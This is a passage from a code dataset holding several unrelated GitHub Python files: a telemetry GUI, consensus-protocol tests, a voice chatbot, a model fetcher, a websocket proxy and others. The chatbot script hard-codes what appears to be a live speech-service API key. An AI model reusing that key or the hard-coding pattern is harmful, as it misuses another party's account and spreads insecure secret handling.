self.tbSystemLog.setItem(pos, 2, QTableWidgetItem(LOG_SEVERITY[msg.severity]))\n self.tbSystemLog.setItem(pos, 3, QTableWidgetItem(LOG_SOURCE[msg.source]))\n self.tbSystemLog.setItem(pos, 4, QTableWidgetItem(msg.msg))\n\n def updateTelemetry(self, msg):\n if not isinstance(threading.current_thread(), threading._MainThread):\n invoke_in_main_thread(self.updateTelemetry, msg)\n\n self.lbSpeed.setText(\"%3.1f\" % (msg.speed_kmh))\n self.lbDistance.setText(\"%5d\" % (msg.distance_m))\n self.lbRaceTime.setText(\"%02d:%02d\" % (msg.time_m, msg.time_s))\n self.lbSpeedAvg.setText(\"%3.1f\" % (msg.speed_avg_kmh))\n self.lbSpeedTop.setText(\"%3.1f\" % (msg.speed_max_kmh))\n self.lbMode.setText(RACE_MODE[msg.race_mode])\n self.lbCurFilling.setText(\"%3d %%\" % (msg.filling_pct))\n self.lbCurDeadtime.setText(\"%4d ms\" % (msg.deadtime_ms))\n self.lbBatVoltage.setText(\"%5d\" % (msg.bat_mv))\n self.lbBatCurrent.setText(\"%4d\" % (msg.bat_ma))\n\n self.pbPressure1.setValue(msg.press1_kpa)\n self.pbPressure2.setValue(msg.press2_kpa)\n self.pbPressure3.setValue(msg.press3_kpa)\n\n self.lbThrottle.setEnabled(msg.throttle)\n self.lbBrake.setEnabled(msg.brake)\n\n self.lbValveBack1.setText(VALVE_STATE[msg.valve_b1])\n self.lbValveBack2.setText(VALVE_STATE[msg.valve_b2])\n self.lbValveFront1.setText(VALVE_STATE[msg.valve_f1])\n self.lbValveFront2.setText(VALVE_STATE[msg.valve_f2])\n self.pbPistonPosition.setValue(msg.piston_pct)\n\nif __name__ == '__main__':\n app = QtWidgets.QApplication(sys.argv)\n window = MainWindow()\n window.lbSpeed.setProperty(\"value\", 172.2)\n window.show()\n\n sys.exit(app.exec_())\n","repo_name":"kajusK/Pneumobil","sub_path":"sw/telemetry/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":4945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"11776971677","text":"import pandas\n\nfile = pandas.read_csv(\"nato_phonetic_alphabet.csv\")\n\nnato_dict = {row.letter:row.code for (index, row) in file.iterrows()}\n\nuser_input = (input(\"Enter a word to have it converted to nato phonetic alphabet: \")).upper()\n\nnato_converted = [nato_dict[letter] for letter in user_input]\nprint(nato_converted)\n","repo_name":"falvey20/100-Days-Python","sub_path":"026 - Nato Phonetics/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"3275979286","text":"import string\n\nimport pytest\n\nfrom plenum.common.event_bus import InternalBus\nfrom plenum.common.messages.node_messages import ViewChange, ViewChangeAck, NewView\nfrom plenum.server.consensus.view_change_service import ViewChangeService\nfrom plenum.test.helper import MockNetwork\n\n\n@pytest.fixture\ndef view_change_service(consensus_data, mock_timer):\n def _service(name):\n data = consensus_data(name)\n service = ViewChangeService(data, mock_timer, InternalBus(), MockNetwork())\n return service\n return _service\n\n\n@pytest.fixture\ndef view_change_message():\n def _view_change(view_no: int):\n vc = ViewChange(\n viewNo=view_no,\n stableCheckpoint=4,\n prepared=[],\n preprepared=[],\n checkpoints=[]\n )\n return vc\n return _view_change\n\n\n@pytest.fixture\ndef view_change_acks(validators, random):\n def _view_change_acks(vc, vc_frm, primary, count):\n digest = ViewChangeService._view_change_digest(vc)\n non_senders = [name for name in validators if name not in [vc_frm, primary]]\n ack_frms = random.sample(non_senders, count)\n return [(ViewChangeAck(viewNo=vc.viewNo, name=vc_frm, digest=digest), ack_frm) for ack_frm in ack_frms]\n return _view_change_acks\n\n\ndef test_view_change_primary_selection(validators, initial_view_no):\n primary = ViewChangeService._find_primary(validators, initial_view_no)\n prev_primary = ViewChangeService._find_primary(validators, initial_view_no - 1)\n next_primary = ViewChangeService._find_primary(validators, initial_view_no + 1)\n\n assert primary in validators\n assert prev_primary in validators\n assert next_primary in validators\n\n assert primary != prev_primary\n assert primary != next_primary\n\n\ndef test_start_view_change_increases_next_view_changes_primary_and_broadcasts_view_change_message(\n some_item, validators, view_change_service, initial_view_no):\n service = view_change_service(some_item(validators))\n old_primary = service._data.primary_name\n\n service.start_view_change()\n\n assert service._data.view_no == initial_view_no + 1\n assert service._data.waiting_for_new_view\n assert service._data.primary_name != old_primary\n\n assert len(service._network.sent_messages) == 1\n\n msg, dst = service._network.sent_messages[0]\n assert dst is None # message was broadcast\n assert isinstance(msg, ViewChange)\n assert msg.viewNo == initial_view_no + 1\n assert msg.stableCheckpoint == service._data.stable_checkpoint\n\n\ndef test_non_primary_responds_to_view_change_message_with_view_change_ack_to_new_primary(\n some_item, other_item, validators, primary, view_change_service, initial_view_no, view_change_message):\n non_primary_name = some_item(validators, exclude=[primary(initial_view_no + 1)])\n service = view_change_service(non_primary_name)\n\n vc = view_change_message(initial_view_no + 1)\n frm = other_item(validators, exclude=[non_primary_name])\n service._network.process_incoming(vc, frm)\n\n assert len(service._network.sent_messages) == 1\n msg, dst = service._network.sent_messages[0]\n assert dst == service._data.primary_name\n assert isinstance(msg, ViewChangeAck)\n assert msg.viewNo == vc.viewNo\n assert msg.name == frm\n assert msg.digest == ViewChangeService._view_change_digest(vc)\n\n\ndef test_primary_doesnt_respond_to_view_change_message(\n some_item, validators, primary, view_change_service, initial_view_no, view_change_message):\n name = primary(initial_view_no + 1)\n service = view_change_service(name)\n\n vc = view_change_message(initial_view_no + 1)\n frm = some_item(validators, exclude=[name])\n service._network.process_incoming(vc, frm)\n\n assert len(service._network.sent_messages) == 0\n\n\n@pytest.mark.skip(reason=\"Not implemented\")\ndef test_new_view_message_is_sent_once_when_view_change_certificate_is_reached(\n validators, primary, view_change_service, initial_view_no, view_change_message, view_change_acks):\n primary_name = primary(initial_view_no + 1)\n service = view_change_service(primary_name)\n service.start_view_change()\n\n non_primaries = [item for item in validators if item != primary_name]\n for vc_frm in non_primaries:\n vc = view_change_message(initial_view_no + 1)\n service._network.process_incoming(vc, vc_frm)\n\n for ack, ack_frm in view_change_acks(vc, vc_frm, primary_name, len(validators) - 2):\n service._network.process_incoming(ack, ack_frm)\n\n assert len(service._network.sent_messages) == 1\n msg, dst = service._network.sent_messages[0]\n assert dst is None # message was broadcast\n assert isinstance(msg, NewView)\n assert msg.viewNo == initial_view_no + 1\n\n\ndef test_view_change_digest_is_256_bit_hexdigest(view_change_message, random):\n vc = view_change_message(random.integer(0, 10000))\n digest = ViewChangeService._view_change_digest(vc)\n assert isinstance(digest, str)\n assert len(digest) == 64\n assert all(v in string.hexdigits for v in digest)\n\n\ndef test_different_view_change_messages_have_different_digests(view_change_message, random):\n vc = view_change_message(random.integer(0, 10000))\n other_vc = view_change_message(random.integer(0, 10000))\n assert ViewChangeService._view_change_digest(vc) != ViewChangeService._view_change_digest(other_vc)\n","repo_name":"cakesoft-faisal/indy-plenum","sub_path":"plenum/test/consensus/test_view_change_service.py","file_name":"test_view_change_service.py","file_ext":"py","file_size_in_byte":5388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"28527463888","text":"# -*- coding: utf-8 -*-\r\nimport aiml\r\nimport os\r\nimport record\r\nimport speach_recognize\r\n\r\n\r\nmybot_path = '../lab1/mybot/'\r\n# 切换到语料库所在工作目录\r\nos.chdir(mybot_path)\r\n\r\nmybot = aiml.Kernel()#创建一个aiml对象\r\n\r\nmybot.learn(\"std-startup.xml\")\r\n#创建一个名为std-startup.xml的启动文件，作为加载AIML文件的主入口点。\r\nmybot.respond('load aiml c')\r\n#在std-srartup.xml文件里面可以创建更多的匹配模式以及加入更多的语料库。\r\n\r\n#用语音输入代替文字输入\r\nmyrecorder = record.recorder(record_seconds=5) # 录音对象，设定持续大约5秒\r\nsr = speach_recognize.speachRecognizer(accountList = [{'APPID':'5cad4c88','API_KEY':'55dba8b5606fac7572450e79a2f03bcc'}]) # 输入科大讯飞统一平台的APPID 和 对应语音识别的API_KEY\r\n\r\nprint(\"小爱: 可以和我聊聊吗？\")\r\nwhile True:\r\n print(input(\"请说出您的问题？输入回车键开始录音~\\n\"))\r\n myrecorder.save_record() # 开始录音\r\n sr.setAudiFile('audio.wav') # 生成audio.wav录音文件\r\n question = sr.getResponse() # 调用科大讯飞的API 识别audio.wav录音，转译成对应的文字\r\n print(\"你说的是：\"+question)\r\n response = mybot.respond(question[:-1]) # 聊天机器人进行回答\r\n print(\"小爱: \", response) # 输出回答的问题","repo_name":"mengning/ai","sub_path":"lab2/aimlbot.py","file_name":"aimlbot.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"41427033233","text":"import numpy as np\n\nclass MarkerMeasurement:\n # Measurements are of landmarks in 2D and have a position as well as tag id.\n def __init__(self, position, tag, covariance = (0.1*np.eye(2))):\n self.position = position\n self.tag = tag\n #self.covariance=covariance\n self.covariance = self.covariance_matrix_calculation(position)\n\n def covariance_matrix_calculation(self, lm_bff2d, sigma_u=0.05, sigma_rho_param = 0.2):\n \"\"\" New method to initialise the covariance. Turning the x,y representation from aruco into a\n (polar) estimate of d,phi, assumed independent. Estimate sigma_rho by depth of marker\n Put this into aruco_detector.py and call in lm_measurements for the parameter covariance\n \"\"\"\n # new covariance initialisation\n dist_est = np.sqrt(lm_bff2d[0]**2 + lm_bff2d[1]**2)\n u = np.divide(lm_bff2d,dist_est)\n u_mat = u @ u.T\n\n # rho = 1 /(dist_est) # we never actually need rho\n cov_u = (sigma_u**2) * (np.eye(2) - u_mat)\n cov_rho = sigma_rho_param*(dist_est**2) * u_mat\n cov_full = cov_u + cov_rho\n return cov_full\n\nclass DriveMeasurement:\n # Measurement of the robot wheel velocities\n def __init__(self, left_speed, right_speed, dt, left_cov = 5, right_cov = 5):\n self.left_speed = left_speed\n self.right_speed = right_speed\n self.dt = dt\n self.left_cov = left_cov\n self.right_cov = right_cov\n","repo_name":"bennydai/rvss_fork","sub_path":"slam/Measurements.py","file_name":"Measurements.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"20558091415","text":"'''\nRunPod | DreamBooth | Custom Model Fetcher\n'''\n\nimport os\nimport wget\nimport subprocess\nfrom subprocess import call, check_output\n\n\ndef downloadmodel_hf(Path_to_HuggingFace, huggingface_token=None):\n '''\n Download model from HuggingFace.\n '''\n if huggingface_token:\n auth = f'https://USER:{huggingface_token}@'\n else:\n auth = \"https://\"\n\n custom_path = '/src/stable-diffusion-custom'\n os.makedirs(custom_path, exist_ok=True)\n\n print(f\"Current working directory: {os.getcwd()}\")\n\n os.chdir(custom_path)\n commands = [\n \"git init\",\n \"git lfs install --system --skip-repo\",\n f'git remote add -f origin {auth}huggingface.co/{Path_to_HuggingFace}',\n \"git config core.sparsecheckout true\",\n 'echo -e \"\\nscheduler\\ntext_encoder\\ntokenizer\\nunet\\nvae\\nmodel_index.json\\n!*.safetensors\" > .git/info/sparse-checkout',\n \"git pull origin main\"\n ]\n\n for command in commands:\n result = subprocess.run(command, shell=True, stderr=subprocess.PIPE, check=False)\n if result.returncode != 0:\n raise RuntimeError(\n f\"Error executing command: {command}\\nError message: {result.stderr.decode('utf-8')}\")\n\n print(\"Successfully downloaded model from HuggingFace.\")\n\n if os.path.exists('unet/diffusion_pytorch_model.bin'):\n call(\"rm -r .git\", shell=True)\n call(\"rm model_index.json\", shell=True)\n wget.download(\n 'https://raw.githubusercontent.com/TheLastBen/fast-stable-diffusion/main/Dreambooth/model_index.json')\n os.chdir('/src')\n\n while not os.path.exists('/src/stable-diffusion-custom/unet/diffusion_pytorch_model.bin'):\n os.chdir('/src')\n\n print(\"Downloaded model is compatible with DreamBooth.\")\n\n\ndef downloadmodel_lnk(ckpt_link):\n '''\n Download a model from a ckpt link.\n '''\n result = subprocess.run(\n f\"gdown --fuzzy -O model.ckpt {ckpt_link}\",\n shell=True, stderr=subprocess.PIPE, check=False\n )\n if result.returncode != 0:\n raise RuntimeError(\n f\"Error downloading model from link: {ckpt_link}\\nError message: {result.stderr.decode('utf-8')}\")\n\n if os.path.exists('model.ckpt') and os.path.getsize(\"model.ckpt\") > 1810671599:\n # wget.download('https://github.com/TheLastBen/fast-stable-diffusion/raw/main/Dreambooth/det.py')\n # custom_model_version = check_output(\n # 'python det.py --MODEL_PATH /src/model.ckpt', shell=True).decode('utf-8').replace('\\n', '')\n\n # if custom_model_version == 'v1.5':\n wget.download(\n 'https://github.com/CompVis/stable-diffusion/raw/main/configs/stable-diffusion/v1-inference.yaml', 'config.yaml')\n subprocess.run(\n 'python /src/diffusers/scripts/convert_original_stable_diffusion_to_diffusers.py --checkpoint_path /src/model.ckpt --dump_path /src/stable-diffusion-custom --original_config_file config.yaml',\n shell=True, check=True)\n\n # refmdlz_file = 'refmdlz'\n # wget.download(\n # f'https://github.com/TheLastBen/fast-stable-diffusion/raw/main/Dreambooth/{refmdlz_file}')\n\n # if not os.path.exists(refmdlz_file):\n # raise RuntimeError(f\"Error downloading {refmdlz_file}\")\n\n # subprocess.run(f'unzip -o -q {refmdlz_file}', shell=True, check=True)\n # subprocess.run(f'rm -f {refmdlz_file}', shell=True, check=True)\n\n # wget.download(\n # 'https://raw.githubusercontent.com/TheLastBen/fast-stable-diffusion/main/Dreambooth/convertodiffv1.py')\n\n # # result = subprocess.run(\n # # 'python convertodiffv1.py model.ckpt /src/stable-diffusion-custom --v1',\n # # shell=True, stderr=subprocess.PIPE, check=False\n # # )\n # result = subprocess.run(\n # '/src/diffusers/scripts/convert_original_stable_diffusion_to_diffusers.py - -checkpoint_path /src/model.ckpt - -dump_path /src/stable-diffusion-custom - -original_config_file config.yaml ',\n # shell=True, stderr=subprocess.PIPE, check=False)\n\n # if result.returncode != 0:\n # raise RuntimeError(\n # f\"Error executing convert_original_stable_diffusion_to_diffusers.py\\nError message: {result.stderr.decode('utf-8')}\")\n\n # subprocess.run('rm convertodiffv1.py', shell=True, check=True)\n # subprocess.run('rm -r refmdl', shell=True, check=True)\n\n\ndef selected_model(path_to_huggingface=None, ckpt_link=None, huggingface_token=None):\n '''\n Either download a model from HuggingFace or from a ckpt link.\n Or use the original V1.5 model.\n '''\n model_name = \"/src/stable-diffusion-v1-5\"\n os.makedirs(\"/src/stable-diffusion-custom\", exist_ok=True)\n\n if path_to_huggingface:\n downloadmodel_hf(path_to_huggingface, huggingface_token)\n model_name = \"/src/stable-diffusion-custom\"\n elif ckpt_link:\n downloadmodel_lnk(ckpt_link)\n model_name = \"/src/stable-diffusion-custom\"\n\n # Modify the config.json file\n result = subprocess.run(\n f\"sed -i 's@\\\"sample_size\\\": 256,@\\\"sample_size\\\": 512,@g' {model_name}/vae/config.json\",\n shell=True, stderr=subprocess.PIPE, check=False\n )\n\n if result.returncode != 0:\n raise RuntimeError(\n f\"Error modifying config.json\\nError message: {result.stderr.decode('utf-8')}\")\n\n return model_name\n","repo_name":"runpod/serverless-workers","sub_path":"workers/DreamBooth-v1/docker_example/rp_custom_model.py","file_name":"rp_custom_model.py","file_ext":"py","file_size_in_byte":5386,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"18"} +{"seq_id":"16199801660","text":"# Author: Melanie Huynh\n# Date: 5/6/2020\n# Description: This program takes a list of numbers and returns the median of those numbers. \n\ndef find_median(list):\n\t\"\"\"Returns the median of a list of numbers\"\"\"\n\tlist.sort() # Sorts the lists from low to high\n\tlength = len(list) # Gets length of the list\n\t\n\tif length % 2 != 0: # Checks if the total list is odd to apply correct mathematical equation\n\t\treturn list[length//2]\n\telse: # Otherwise, even lists get applied correct mathematical equation\n\t\tnum1 = list[length//2]\n\t\tnum2 = list[length//2 -1]\n\t\treturn (num1 + num2) / 2\n\n\t\n","repo_name":"huynmela/CS161","sub_path":"Project 6/6a/find_median.py","file_name":"find_median.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"2904291053","text":"#!/usr/bin/env python3.5\n\"\"\"Unit tests for readers\"\"\"\n\nimport unittest\nimport tempfile\nimport numpy as np\n\nfrom neuralmonkey.readers.string_vector_reader import get_string_vector_reader\nfrom neuralmonkey.readers.plain_text_reader import T2TReader\n\nSTRING_INTS = \"\"\"\n1 2 3\n4 5 6\n7 8 9 10\n\n\"\"\"\n\nLIST_INTS = [np.array(row.strip().split(), dtype=np.int32)\n for row in STRING_INTS.strip().split(\"\\n\")]\n\nSTRING_FLOATS = \"\"\"\n1 2 3.5\n 4 -5.0e10 6\n7 8 9.2e-12 10.1123213213214123141234123112312312\n\"\"\"\n\nLIST_FLOATS = [np.array(row.strip().split(), dtype=np.float32)\n for row in STRING_FLOATS.strip().split(\"\\n\")]\n\nSTRING_INTS_FINE = \"\"\"\n1 2 3\n4 5 6\n7 8 9\n\"\"\"\n\nLIST_INTS_FINE = [np.array(row.strip().split(), dtype=np.int32)\n for row in STRING_INTS_FINE.strip().split(\"\\n\")]\n\n\ndef _make_file(from_var):\n tmpfile = tempfile.NamedTemporaryFile(mode=\"w+\")\n tmpfile.write(from_var)\n tmpfile.seek(0)\n return tmpfile\n\n\nclass TestStringVectorReader(unittest.TestCase):\n\n def setUp(self):\n self.tmpfile_floats = _make_file(STRING_FLOATS)\n self.tmpfile_ints = _make_file(STRING_INTS)\n self.tmpfile_ints_fine = _make_file(STRING_INTS_FINE)\n\n def test_reader(self):\n r = get_string_vector_reader(np.float32)\n floats = list(r([self.tmpfile_floats.name]))\n equals = [np.array_equal(f, g) for f, g in zip(floats, LIST_FLOATS)]\n\n for comp in equals:\n self.assertTrue(comp)\n\n r = get_string_vector_reader(np.int32)\n ints = list(r([self.tmpfile_ints.name, self.tmpfile_ints_fine.name]))\n equals = [np.array_equal(f, g)\n for f, g in zip(ints, LIST_INTS + LIST_INTS_FINE)]\n\n for comp in equals:\n self.assertTrue(comp)\n\n def test_columns(self):\n for cols in range(2, 4):\n with self.assertRaisesRegex(ValueError, \"Wrong number of columns\"):\n r = get_string_vector_reader(np.int32, columns=cols)\n list(r([self.tmpfile_ints.name]))\n\n with self.assertRaisesRegex(ValueError, \"Wrong number of columns\"):\n r = get_string_vector_reader(np.float32, columns=cols)\n list(r([self.tmpfile_floats.name]))\n\n if cols != 3:\n with self.assertRaisesRegex(ValueError,\n \"Wrong number of columns\"):\n r = get_string_vector_reader(np.int32, columns=cols)\n list(r([self.tmpfile_ints_fine.name]))\n\n r = get_string_vector_reader(np.int32, columns=3)\n ints = list(r([self.tmpfile_ints_fine.name]))\n equals = [np.array_equal(f, g)\n for f, g in zip(ints, LIST_INTS_FINE)]\n\n for comp in equals:\n self.assertTrue(comp)\n\n def tearDown(self):\n self.tmpfile_ints.close()\n self.tmpfile_floats.close()\n self.tmpfile_ints_fine.close()\n\n\nclass TestT2TReader(unittest.TestCase):\n\n def setUp(self):\n self.reader = T2TReader\n\n def test_reader(self):\n text = \"Ich bin der čermák -=- - !!! alfonso \"\n gold_tokens = [\"Ich\", \"bin\", \" \", \"der\", \"čermák\", \" -=- - !!! \",\n \"alfonso\"]\n\n tmpfile = _make_file(text)\n\n read = []\n for line in self.reader([tmpfile.name]):\n read.append(line)\n\n tmpfile.close()\n\n self.assertEqual(len(read), 1)\n self.assertSequenceEqual(read[0], gold_tokens)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"ufal/neuralmonkey","sub_path":"neuralmonkey/tests/test_readers.py","file_name":"test_readers.py","file_ext":"py","file_size_in_byte":3539,"program_lang":"python","lang":"en","doc_type":"code","stars":411,"dataset":"github-code","pt":"18"} +{"seq_id":"23936548494","text":"import pandas as pd\nimport numpy as np\nimport os\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport geopandas as gpd\nimport missingno as msn\nfrom shapely.geometry import Point, Polygon\n\n#Preparation for plotting data over europe\nfig, axes = plt.subplots(nrows=1, ncols=2, figsize=(30,20))\nworld = gpd.read_file(gpd.datasets.get_path(\"naturalearth_lowres\"))\neurope=world[world.continent=='Europe']\n#Remove Russia and Iceland from map of Europe\neurope=europe[(europe.name!='Russia') & (europe.name!='Iceland')]\n# Create a custom polygon\npolygon = Polygon([(-25,35), (40,35), (40,75),(-25,75)])\n#Clip polygon from the map of Europe\neurope=gpd.clip(europe, polygon)\neurope.plot(color='#3B3C6E', ax=axes[0], alpha=0.8)\neurope.plot(color='#3B3C6E', ax=axes[1], alpha=0.8)\n# europe.plot(color='#3B3C6E', ax=axes[1,0], alpha=0.8)\n# europe.plot(color='#3B3C6E', ax=axes[1,1], alpha=0.8)\ncmap = mpl.colors.LinearSegmentedColormap.from_list(\"\", [\"green\",\"yellow\",\"red\"])\n\n#change values to actual timestamps\ndate_range = pd.date_range(start ='1-1-2020', end ='12-31-2020', freq ='24H')\ndate_list = [str(d.date()) for d in date_range]\nday_list = []\nfor i in range(1, 367):\n day_list.append(str(i))\n\nfor file in sorted(os.listdir('C:/Users/BIE/Desktop/Python/MLA/MLA_2122/data')):\n data = pd.read_csv('data/'+file, usecols = ['latitude',\n \t 'longitude',\n 'timestamp_transfer',\n 'timestamp_measure_position',\n 'signal_quality_satellite',\n 'signal_quality_hdop',\n 'determination_position',\n 'provider'\n ], low_memory = True)\n\n data = pd.DataFrame.dropna(data) #deleting rows which contain NAN values\n #data['timestamp_transfer'] = data['timestamp_transfer'].str[:16] #removing unwanted characters\n #data['timestamp_measure_position'] = data['timestamp_measure_position'].str[:16] #removing unwanted characters\n\n\n\n\n #for timestamp_transfer\n timestamp_transfer_date = data['timestamp_transfer'].str.split(' ').str[0] #Just the Days of the Timestamp\n timestamp_transfer_date = timestamp_transfer_date.replace(to_replace=day_list, value=date_list) #change Days to actual date e.g. 42 days -> 2020-02-11\n timestamp_transfer_hours = data['timestamp_transfer'].str.split(' ').str[2] #Just the Time of the Timestamp\n timestamp_transfer_hours = timestamp_transfer_hours.str[:8]\n data.timestamp_transfer =timestamp_transfer_date +\" \"+timestamp_transfer_hours #Combine Days and Hours in one column\n data['timestamp_transfer'] = pd.to_datetime(data.timestamp_transfer) #Convert to actual timestamps\n\n #for timestamp_measure_position\n timestamp_measure_position_date= data['timestamp_measure_position'].str.split(' ').str[0] #Just the Days of the Timestamp\n timestamp_measure_position_date = timestamp_measure_position_date.replace(to_replace=day_list, value=date_list) #change Days to actual date e.g. 42 days -> 2020-02-11\n timestamp_measure_position_hours = data['timestamp_measure_position'].str.split(' ').str[2] #Just the Time of the Timestamp\n timestamp_measure_position_hours = timestamp_measure_position_hours.str[:8]\n data.timestamp_measure_position =timestamp_measure_position_date +\" \"+timestamp_measure_position_hours #Combine Days and Hours in one column\n data['timestamp_measure_position'] = pd.to_datetime(data.timestamp_measure_position) #Convert to actual timestamps\n\n #add coloumn with delta timestamp in seconds\n data['delta_timestamps'] = (data.timestamp_transfer - data.timestamp_measure_position).dt.total_seconds()\n\n # Change the coordinates to geoPoints\n data['coordinates'] = data[['longitude', 'latitude']].values.tolist()\n data['coordinates'] = data['coordinates'].apply(Point)\n data = gpd.GeoDataFrame(data, geometry='coordinates')\n\n #changing delta_timestamps from seconds to qualitative value\n data['delta_timestamps'] = np.where(data['delta_timestamps'].between(-10000,60), 1, data['delta_timestamps'])\n data['delta_timestamps'] = np.where(data['delta_timestamps'].between(60,300), 2, data['delta_timestamps'])\n data['delta_timestamps'] = np.where(data['delta_timestamps'].between(300,900), 3, data['delta_timestamps'])\n data['delta_timestamps'] = np.where(data['delta_timestamps'].between(900,3600), 4, data['delta_timestamps'])\n data['delta_timestamps'] = np.where(data['delta_timestamps']>3600, 5, data['delta_timestamps'])\n\n #Plot delta_timestamps on europe map\n data.plot(ax=axes[0], column='delta_timestamps', marker=\"o\", markersize=1, cmap=cmap, legend=True)\n axes[0].set_title('delta_timestamps')\n axes[0].yaxis.set_visible(False)\n axes[0].xaxis.set_visible(False)\n\n #Plot provider on europe map\n data.plot(ax=axes[1], column='provider', marker=\"o\", markersize=10, cmap='cool', legend=True, alpha=0.1)\n axes[1].set_title('provider')\n axes[1].yaxis.set_visible(False)\n axes[1].xaxis.set_visible(False)\n\nfor i in range(0, 40):\n prov_i= data.loc[data['provider'] == i]\n print(prov_i['delta_timestamps'].mean(), prov_i['delta_timestamps'].var())\n \ndata_heatmap = data[['signal_quality_satellite',\n 'signal_quality_hdop',\n 'provider',\n 'delta_timestamps'\n ]].copy()\n \ncorr = data_heatmap.corr()\nprint(corr)\nprint(data)\nplt.show()\n\n\n\n\n#data = data[data['movement_state'].notna()] #deleting rows which contain NAN values in specific columns\n#data=data.replace(to_replace=['parking', 'standing', 'moving'], value=[1, 2, 3]) #replacing strings with int\n#data=data.replace(to_replace=['Leer', 'Beladen'], value=[0, 1]) #replacing strings with int\n#msn.bar(data, color='darkolivegreen') #checking on missing values","repo_name":"pizzapuul/MLA_2122","sub_path":"Aufgabe 2/preprocessing_data - backup.py","file_name":"preprocessing_data - backup.py","file_ext":"py","file_size_in_byte":6009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"44483879368","text":"from PIL import Image\nimport sys\n\nim = Image.open('test.jpg')\nprint(im.format, im.size, im.mode)\nim.thumbnail((375,667))\nim.save('new.jpg', 'JPEG')\n\nprint(sys.path)\nsys.path.append('/Users/michael/my_py_scripts')\nprint(sys.path)\n","repo_name":"starry001/Python3Lesson","sub_path":"module/testModule.py","file_name":"testModule.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73711884201","text":"import ssl\nimport asyncio\n\nimport websockets\n\n\nclass WProxy(object):\n \n def __init__(self, *args, **kwargs):\n self.host = kwargs.get('host', '0.0.0.0')\n self.port = kwargs.get('port', 8765)\n self.url = kwargs.get('url', '')\n self.ssl_cert = kwargs.get('ssl_cert', '')\n self.ssl_key = kwargs.get('ssl_key', '')\n self.extra_headers = kwargs.get('extra_headers', {})\n self.ssl_context = None\n\n if not self.url:\n raise Exception(\"Please specify url\")\n \n if self.ssl_cert and self.ssl_key:\n self.ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n self.ssl_context.load_cert_chain(self.ssl_cert, keyfile=self.ssl_key)\n\n def load_headers_from_args(self, headers):\n if headers is not None:\n for header in headers:\n split_str = header.split(\":\")\n self.extra_headers[split_str[0].strip()] = split_str[1].strip()\n \n async def __send_message(self, from_server, to_server):\n async for message in from_server:\n await to_server.send(message)\n\n async def __on_connection(self, websocket, path):\n loop = asyncio.get_event_loop()\n this_url = self.url + path\n async with websockets.connect(this_url) as ws:\n client_to_server = loop.create_task(self.__send_message(ws, websocket))\n server_to_client = loop.create_task(self.__send_message(websocket, ws))\n await client_to_server\n await server_to_client\n\n def run(self):\n server = websockets.serve(self.__on_connection, self.host, self.port, ssl=self.ssl_context, extra_headers=self.extra_headers)\n asyncio.get_event_loop().run_until_complete(server)\n asyncio.get_event_loop().run_forever()","repo_name":"six519/wproxy","sub_path":"wproxy/wproxy.py","file_name":"wproxy.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24635674113","text":"import logging\nimport os\nfrom pathlib import Path\n\nimport torch\nfrom ocr_translate import models as m\nfrom PIL import Image\nfrom transformers import (AutoImageProcessor, AutoModel, AutoModelForSeq2SeqLM,\n AutoTokenizer, M2M100Tokenizer,\n VisionEncoderDecoderModel)\n\nlogger = logging.getLogger('plugin')\n\nclass Loaders():\n \"\"\"Generic functions to load HuggingFace's Classes.\"\"\"\n accept_device = ['ved_model', 'seq2seq', 'model']\n\n mapping = {\n 'tokenizer': AutoTokenizer,\n 'ved_model': VisionEncoderDecoderModel,\n 'model': AutoModel,\n 'image_processor': AutoImageProcessor,\n 'seq2seq': AutoModelForSeq2SeqLM\n }\n\n @staticmethod\n def _load(loader, model_id: str, root: Path):\n \"\"\"Use the specified loader to load a transformers specific Class.\"\"\"\n try:\n mid = root / model_id\n logger.debug(f'Attempt loading from store: \"{loader}\" \"{mid}\"')\n res = loader.from_pretrained(mid)\n except Exception:\n # Needed to catch some weird exception from transformers\n # eg: huggingface_hub.utils._validators.HFValidationError: Repo id must use alphanumeric chars or\n # '-', '_', '.', '--' and '..' are forbidden, '-' and '.'\n # cannot start or end the name, max length is 96: ...\n logger.debug(f'Attempt loading from cache: \"{loader}\" \"{model_id}\" \"{root}\"')\n res = loader.from_pretrained(model_id, cache_dir=root)\n return res\n\n @staticmethod\n def load(model_id: str, request: list[str], root: Path, dev: str = 'cpu') -> list:\n \"\"\"Load the requested HuggingFace's Classes for the model into the memory of the globally specified device.\n\n Args:\n model_id (str): The HuggingFace model id to load, or a path to a local model.\n request (list[str]): A list of HuggingFace's Classes to load.\n root (Path): The root path to use for the cache.\n\n Raises:\n ValueError: If the model_id is not found or if the requested Class is not supported.\n\n Returns:\n _type_: A list of the requested Classes.\n \"\"\" \"\"\"\"\"\"\n res = {}\n for r in request:\n if r not in Loaders.mapping:\n raise ValueError(f'Unknown request: {r}')\n cls = Loaders._load(Loaders.mapping[r], model_id, root)\n if cls is None:\n raise ValueError(f'Could not load model: {model_id}')\n\n if r in Loaders.accept_device:\n cls = cls.to(dev)\n\n res[r] = cls\n\n return res\n\n\ndef get_mnt(ntok: int, options: dict) -> int:\n \"\"\"Get the maximum number of new tokens to generate.\"\"\"\n min_max_new_tokens = int(options.get('min_max_new_tokens', 20))\n 